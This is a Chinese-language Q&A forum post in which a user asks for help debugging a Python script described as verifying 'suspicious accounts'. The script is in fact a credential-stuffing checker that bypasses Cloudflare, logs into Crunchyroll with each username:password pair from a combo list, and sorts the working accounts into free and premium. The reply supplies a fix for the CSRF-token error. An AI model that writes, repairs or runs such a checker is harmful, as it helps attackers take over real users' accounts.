我正在创建一个脚本来验证可疑账户。 该错误源于“我尝试”使用BeautifulSoup提取CSRF令牌时。
代码:
def check ():
session = cfscrape.create_scraper()
login_page = sesseion.get(login)
login_soup = BeautifulSoup(login_page.text,'html5lib' )
csrftok = login_soup.find('input', {'name':'login_form[_token]'})['value']
session.post(login,
data={'login_form[name]': user,
'login_form[password]': passw,
'login_form[redirect_url]': '/',
'login_form[_token]': csrftok})
membership = session.get(acc_member)
member_soup = BeautifulSoup(membership.text, 'html5lib')
if member_soup.title.get_text().strip() == 'Crunchyroll - Account Management':
if member_soup.find(class_='acct-membership-status').contents[1].find('td').get_text().strip() == 'Free':
print('free:{}'.format(user+ ':' + passw))
else:
print('Premium:{}'.format(user + ':' + passw))
else:
print('not working:{}'.format(user + ':' + passw))
read_combos = open(file_combos, "r")
for linea in read_combos.readlines():
users, passwords = line.split(':')
check(users.strip(), passwords.strip())
read_combos.close()
如何解决以下错误?
File "checker2.py", line 15, in check
csrftok = login_soup.find('input', {'name':'login_form[_token]'})['value']
TypeError: 'NoneType' object is not subscriptable
答案 0 :(得分:0)
像这样的东西比try / except更好:
e = login_soup.find('input', {'name':'login_form[_token]'})
csrftok = e['value'] if e else 'Not Found'